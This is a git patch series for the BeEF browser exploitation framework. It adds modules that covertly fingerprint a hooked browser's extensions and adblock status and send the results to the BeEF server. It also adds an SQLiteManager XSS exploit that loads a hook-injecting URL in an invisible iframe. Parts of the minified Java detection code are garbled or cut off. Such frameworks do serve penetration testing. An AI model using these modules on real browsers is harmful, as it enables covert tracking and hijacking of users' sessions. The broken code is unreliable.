From bd2b0023141547fc1c529a1f51628917950898c0 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 7 Jan 2013 05:17:55 +1030 Subject: [PATCH 1/5] Fix a few typos --- extensions/evasion/config.yaml | 2 +- modules/browser/avant_steal_history/module.rb | 2 +- modules/phonegap/phonegap_check_connection/config.yaml | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index 06a1b803d..8ba097941 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -9,7 +9,7 @@ beef: enable: true name: 'Evasion' authors: ["antisnatchor"] - exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js","lib/mdetect.js"] + exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js", "lib/mdetect.js"] scramble_variables: true scramble_cookies: true scramble: diff --git a/modules/browser/avant_steal_history/module.rb b/modules/browser/avant_steal_history/module.rb index 7a819fa5e..1d0692b76 100644 --- a/modules/browser/avant_steal_history/module.rb +++ b/modules/browser/avant_steal_history/module.rb @@ -21,7 +21,7 @@ class Avant_steal_history < BeEF::Core::Command return [ - {'name' => 'cId', 'ui_label' => 'Command ID:', 'value' => '60003', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' } + {'name' => 'cId', 'ui_label' => 'Command ID', 'value' => '60003', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' } ] end diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml index d7f286e08..ab6256e52 100644 --- a/modules/phonegap/phonegap_check_connection/config.yaml +++ b/modules/phonegap/phonegap_check_connection/config.yaml @@ -10,8 +10,8 @@ beef: phonegap_check_connection: enable: true category: "Phonegap" - name: "Check connection" - description: "Find out connection type e.g. Wifi, 3G.." + name: "Check Connection" + description: "Find out the network connection type e.g. Wifi, 3G." authors: ["mh"] target: working: ["All"] From 87afb9a31bf66ab7f0de2e4fa11d2c33649ada4a Mon Sep 17 00:00:00 2001 From: Nbblrr Date: Sun, 6 Jan 2013 22:39:43 +0100 Subject: [PATCH 2/5] Improved extension detection with the old Firefox hack #815 --- .../detect_extensions}/command.js | 86 +++++++++++++++++-- modules/browser/detect_extensions/config.yaml | 22 +++++ .../detect_extensions}/module.rb | 5 +- .../get_chrome_extensions/config.yaml | 16 ---- 4 files changed, 104 insertions(+), 25 deletions(-) rename modules/{chrome_extensions/get_chrome_extensions => browser/detect_extensions}/command.js (93%) create mode 100644 modules/browser/detect_extensions/config.yaml rename modules/{chrome_extensions/get_chrome_extensions => browser/detect_extensions}/module.rb (74%) delete mode 100644 modules/chrome_extensions/get_chrome_extensions/config.yaml diff --git a/modules/chrome_extensions/get_chrome_extensions/command.js b/modules/browser/detect_extensions/command.js similarity index 93% rename from modules/chrome_extensions/get_chrome_extensions/command.js rename to modules/browser/detect_extensions/command.js index 59f814324..660530ab3 100644 --- a/modules/chrome_extensions/get_chrome_extensions/command.js +++ b/modules/browser/detect_extensions/command.js @@ -6,7 +6,7 @@ beef.execute(function() { - extensions = new Array( + chrome_extensions = new Array( new Array("blpcfgokakmgnkcojhhkbfbldkacnbeo","YouTube"), new Array("pjkljhegncpnkpknbcohdijeoejaedia","Gmail"), new Array("coobgpohoikkiipiblmjeljniedjpjpf","Google Search"), @@ -1009,7 +1009,61 @@ beef.execute(function() { new Array("inolmjbojghkehmmlbdmpdlmagalddni","Jagran - India No.1 Hindi News Daily") ); - var detect = function(addon_id, addon_name) { + var firefox_extensions = { + "Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png", + "Auto Copy" : "chrome://autocopy/skin/autocopy.png", + "ColorZilla" : "chrome://colorzilla/skin/logo.png", + "Customize Google" : "chrome://customizegoogle/skin/32x32.png", + "DownThemAll!" : "chrome://dta/content/immagini/icon.png", + "Faster Fox" : "chrome://fasterfox/skin/icon.png", + "Flash Block" : "chrome://flashblock/skin/flash-on-24.png", + "FlashGot" : "chrome://flashgot/skin/icon32.png", + "Forecastfox" : "chrome://forecastfox/skin/images/icon.png", + "Google Toolbar" : "chrome://google-toolbar/skin/icon.png", + "Greasemonkey" : "chrome://greasemonkey/content/status_on.gif", + "IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png", + "IE View" : "chrome://ieview/skin/ieview-icon.png", + "JS View" : "chrome://jsview/skin/jsview.gif", + "Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png", + "MeasureIt" : "chrome://measureit/skin/measureit.png", + "SEO For Firefox" : "chrome://seo4firefox/content/icon32.png", + "SEOpen" : "chrome://seopen/skin/seopen.png", + "Search Status" : "chrome://searchstatus/skin/cax10.png", + "Server Switcher" : "chrome://switcher/skin/icon.png", + "StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png", + "Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png", + "Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png", + "User Agent Switcher" : "chrome://useragentswitcher/content/logo.png", + "View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png", + "Web Developer" : "chrome://webdeveloper/content/images/logo.png", + "Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png", + "UrlParams" : "chrome://urlparams/skin/urlparams32.png", + "NewsFox" : "chrome://newsfox/skin/images/home.png", + "Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png", + "GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png", + "QuickJava" : "chrome://quickjava/content/js.png", + "Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png", + "BBCode" : "chrome://bbcode/skin/bbcode.png", + "BugMeNot" : "chrome://bugmenot/skin/bugmenot.png", + "ConQuery" : "chrome://conquery/skin/conquery.png", + "Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png", + "Extended Cookie Manager" : "chrome://xcm/content/allowed.png", + "FireBug" : "chrome://firebug/content/firebug32.png", + "FoxyTunes" : "chrome://foxytunes/skin/logo.png", + "MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png", + "SessionSaver .2" : "chrome://sessionsaver/content/ss.png", + "spooFX" : "chrome://spoofx/skin/main/spoofx.png", + "Statusbar Clock" : "chrome://timestatus/skin/icon.png", + "Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png", + "UnPlug" : "chrome://unplug/skin/unplug.png", + "View Source Chart" : "chrome://vrs/skin/vrssmall.png", + "XPather" : "chrome://xpather/content/iconka.png", + "WOT" : "chrome://wot/skin/fusion/logo.png", + "LastPass" : "chrome://lastpass/skin/vaultdelete.png", + + }; + + var detect_chrome_extension = function(addon_id, addon_name) { var s = document.createElement('script'); s.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension='+addon_name); @@ -1018,11 +1072,29 @@ beef.execute(function() { document.body.appendChild(s); } - try { - for (var i=0; i', <%= @command_id %>, 'extension=" + addon_name+ "');"); + img.setAttribute("src", addon_url); + } + + if(beef.browser.isC()) { + try { + for (var i=0; i Date: Mon, 7 Jan 2013 12:30:24 +1030 Subject: [PATCH 3/5] Add SQLiteManager XSS module --- modules/exploits/sqlitemanager_xss/command.js | 17 ++++++++++++++ .../exploits/sqlitemanager_xss/config.yaml | 15 ++++++++++++ modules/exploits/sqlitemanager_xss/module.rb | 23 +++++++++++++++++++ 3 files changed, 55 insertions(+) create mode 100644 modules/exploits/sqlitemanager_xss/command.js create mode 100644 modules/exploits/sqlitemanager_xss/config.yaml create mode 100644 modules/exploits/sqlitemanager_xss/module.rb diff --git a/modules/exploits/sqlitemanager_xss/command.js b/modules/exploits/sqlitemanager_xss/command.js new file mode 100644 index 000000000..c919b9bb6 --- /dev/null +++ b/modules/exploits/sqlitemanager_xss/command.js @@ -0,0 +1,17 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var uri = '<%= @uri.gsub(/'/, "\\'") %>'; + + var serendipity_iframe = beef.dom.createInvisibleIframe(); + serendipity_iframe.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + +}); + diff --git a/modules/exploits/sqlitemanager_xss/config.yaml b/modules/exploits/sqlitemanager_xss/config.yaml new file mode 100644 index 000000000..c1cb0a5a8 --- /dev/null +++ b/modules/exploits/sqlitemanager_xss/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + sqlitemanager_xss: + enable: true + category: ["Exploits", "XSS"] + name: "SQLiteManager XSS" + description: "Attempts to hook SQLiteManager using XSS.
Tested on version 1.2.4 however other versions are likely to be vulnerable." + authors: ["bcoles"] + target: + unknown: ["ALL"] diff --git a/modules/exploits/sqlitemanager_xss/module.rb b/modules/exploits/sqlitemanager_xss/module.rb new file mode 100644 index 000000000..970693e67 --- /dev/null +++ b/modules/exploits/sqlitemanager_xss/module.rb @@ -0,0 +1,23 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Sqlitemanager_xss < BeEF::Core::Command + + def self.options + + configuration = BeEF::Core::Configuration.instance + hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + + return [ + {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://127.0.0.1/sqlite/index.php?dbsel=1"> @datastore['result']}) + end + +end From 6c16a89328f96e23fa248043dfa242d0fc31ae58 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 7 Jan 2013 01:30:44 -0500 Subject: [PATCH 4/5] Added simple adblock checks for IE from issue #803 --- .../browser/detect_simple_adblock/command.js | 40 +++++++++++++++++++ .../browser/detect_simple_adblock/config.yaml | 16 ++++++++ .../browser/detect_simple_adblock/module.rb | 14 +++++++ 3 files changed, 70 insertions(+) create mode 100644 modules/browser/detect_simple_adblock/command.js create mode 100644 modules/browser/detect_simple_adblock/config.yaml create mode 100644 modules/browser/detect_simple_adblock/module.rb diff --git a/modules/browser/detect_simple_adblock/command.js b/modules/browser/detect_simple_adblock/command.js new file mode 100644 index 000000000..afcc4a672 --- /dev/null +++ b/modules/browser/detect_simple_adblock/command.js @@ -0,0 +1,40 @@ +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if (document.getElementById('adblock_img')) { + return "Img already created"; + } + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.src = 'http://simple-adblock.com/adblocktest/files/adbanner.gif'; + img.id = 'adblock_img'; + img.setAttribute("attr","start"); + img.onerror = function() { + this.setAttribute("attr","error"); + }; + img.onload = function() { + this.setAttribute("attr","load"); + }; + + document.body.appendChild(img); + + setTimeout(function() { + var img = document.getElementById('adblock_img'); + if (img.getAttribute("attr") == "error") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock returned an error'); + } else if (img.getAttribute("attr") == "load") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is disabled or not installed'); + } else if (img.getAttribute("attr") == "start") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is enabled'); + }; + document.body.removeChild(img); + }, 10000); + +}); diff --git a/modules/browser/detect_simple_adblock/config.yaml b/modules/browser/detect_simple_adblock/config.yaml new file mode 100644 index 000000000..b0ac675ba --- /dev/null +++ b/modules/browser/detect_simple_adblock/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_simple_adblock: + enable: true + category: "Browser" + name: "Detect Simple Adblock" + description: "This module checks if the Simple Adblock module is active." + authors: ["sussurro"] + target: + working: ["IE"] + not_working: ["All"] diff --git a/modules/browser/detect_simple_adblock/module.rb b/modules/browser/detect_simple_adblock/module.rb new file mode 100644 index 000000000..83b626b3e --- /dev/null +++ b/modules/browser/detect_simple_adblock/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_simple_adblock< BeEF::Core::Command + + def post_execute + content = {} + content['simple_adblock'] = @datastore['simple_adblock'] if not @datastore['simple_adblock'].nil? + save content + end + +end From 5d9821aa741e874c6831d3e573804d6fcf4e5eb0 Mon Sep 17 00:00:00 2001 From: Saafan Date: Wed, 9 Jan 2013 00:47:45 +0200 Subject: [PATCH 5/5] Temporary workaround to fix IE not being hooked due to java detection code. --- core/main/client/browser.js | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 696601bd4..6e74ed44a 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -650,16 +650,24 @@ beef.browser = { */ javaEnabled: function() { - // Cross-browser Java Deployment Toolkit Script - // Source: http://java.com/js/deployJava.js - var deployJava=function(){var l={core:["id","class","title","style"],i18n:["lang","dir"],events:["onclick","ondblclick","onmousedown","onmouseup","onmouseover","onmousemove","onmouseout","onkeypress","onkeydown","onkeyup"],applet:["codebase","code","name","archive","object","width","height","alt","align","hspace","vspace"],object:["classid","codebase","codetype","data","type","archive","declare","standby","height","width","usemap","name","tabindex","align","border","hspace","vspace"]};var b=l.object.concat(l.core,l.i18n,l.events);var m=l.applet.concat(l.core);function g(n){if(!d.debug){return}if(console.log){console.log(n)}else{alert(n)}}function k(o,n){if(o==null||o.length==0){return true}var q=o.charAt(o.length-1);if(q!="+"&&q!="*"&&(o.indexOf("_")!=-1&&q!="_")){o=o+"*";q="*"}o=o.substring(0,o.length-1);if(o.length>0){var p=o.charAt(o.length-1);if(p=="."||p=="_"){o=o.substring(0,o.length-1)}}if(q=="*"){return(n.indexOf(o)==0)}else{if(q=="+"){return o<=n}}return false}function e(){var n="//java.com/js/webstart.png";try{return document.location.protocol.indexOf("http")!=-1?n:"http:"+n}catch(o){return"http:"+n}}function j(p,o){var n=p.length;for(var q=0;q'}if(!u){p+=''}if(w){n+=(' code="dummy"')}n+=">";document.write(n+"\n"+p+"\n"+r)},versionCheck:function(o){var u=0;var w="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";var x=o.match(w);if(x!=null){var q=false;var t=false;var p=new Array();for(var r=1;r'}else{if(o=="Netscape Family"){p=''}}if(document.body=="undefined"||document.body==null){document.write(p);document.location=t}else{var r=document.createElement("div");r.id="div1";r.style.position="relative";r.style.left="-10000px";r.style.margin="0px auto";r.className="dynamicDiv";r.innerHTML=p;document.body.appendChild(r)}},createWebStartLaunchButtonEx:function(p,o){if(this.returnPage==null){this.returnPage=p}var n="javascript:deployJava.launchWebStartApplication('"+p+"');";document.write('')},createWebStartLaunchButton:function(p,o){if(this.returnPage==null){this.returnPage=p}var n="javascript:if (!deployJava.isWebStartInstalled(""+o+"")) {if (deployJava.installLatestJRE()) {if (deployJava.launch(""+p+"")) {}}} else {if (deployJava.launch(""+p+"")) {}}";document.write('')},launch:function(n){document.location=n;return true},isPluginInstalled:function(){var n=this.getPlugin();if(n&&n.jvms){return true}else{return false}},isAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return this.getPlugin().isAutoUpdateEnabled()}return false},setAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return this.getPlugin().setAutoUpdateEnabled()}return false},setInstallerType:function(n){this.installType=n;if(this.isPluginInstalled()){return this.getPlugin().setInstallerType(n)}return false},setAdditionalPackages:function(n){if(this.isPluginInstalled()){return this.getPlugin().setAdditionalPackages(n)}return false},setEarlyAccess:function(n){this.EAInstallEnabled=n},isPlugin2:function(){if(this.isPluginInstalled()){if(this.versionCheck("1.6.0_10+")){try{return this.getPlugin().isPlugin2()}catch(n){}}}return false},allowPlugin:function(){this.getBrowser();var n=("Safari"!=this.browserName2&&"Opera"!=this.browserName2);return n},getPlugin:function(){this.refresh();var n=null;if(this.allowPlugin()){n=document.getElementById("deployJavaPlugin")}return n},compareVersionToPattern:function(u,o,q,r){if(u==undefined||o==undefined){return false}var v="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var w=u.match(v);if(w!=null){var t=0;var x=new Array();for(var p=1;po[p]){return true}}}return true}else{for(var p=0;p "+n);if((n.indexOf("msie")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="MSIE";this.browserName2="MSIE"}else{if(n.indexOf("iphone")!=-1){this.browserName="Netscape Family";this.browserName2="iPhone"}else{if((n.indexOf("firefox")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="Netscape Family";this.browserName2="Firefox"}else{if(n.indexOf("chrome")!=-1){this.browserName="Netscape Family";this.browserName2="Chrome"}else{if(n.indexOf("safari")!=-1){this.browserName="Netscape Family";this.browserName2="Safari"}else{if((n.indexOf("mozilla")!=-1)&&(n.indexOf("opera")==-1)){this.browserName="Netscape Family";this.browserName2="Other"}else{if(n.indexOf("opera")!=-1){this.browserName="Netscape Family";this.browserName2="Opera"}else{this.browserName="?";this.browserName2="unknown"}}}}}}}g("[getBrowser()] Detected browser name:"+this.browserName+", "+this.browserName2)}return this.browserName},testUsingActiveX:function(n){var p="JavaWebStart.isInstalled."+n+".0";if(typeof ActiveXObject=="undefined"||!ActiveXObject){g("[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?");return false}try{return(new ActiveXObject(p)!=null)}catch(o){return false}},testForMSVM:function(){var o="{08B0E5C0-4FCB-11CF-AAA5-00401C608500}";if(typeof oClientCaps!="undefined"){var n=oClientCaps.getComponentVersion(o,"ComponentID");if((n=="")||(n=="5,0,5000,0")){return false}else{return true}}else{return false}},testUsingMimeTypes:function(o){if(!navigator.mimeTypes){g("[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?");return false}for(var p=0;pn[0]){return true}if(o[0]n[1]){return true}if(o[1]n[2]){return true}if(o[2]')}else{if(n=="Netscape Family"&&this.allowPlugin()){this.writeEmbedTag()}}},refresh:function(){navigator.plugins.refresh(false);var n=this.getBrowser();if(n=="Netscape Family"&&this.allowPlugin()){var o=document.getElementById("deployJavaPlugin");if(o==null){this.writeEmbedTag()}}},writeEmbedTag:function(){var n=false;if(navigator.mimeTypes!=null){for(var o=0;o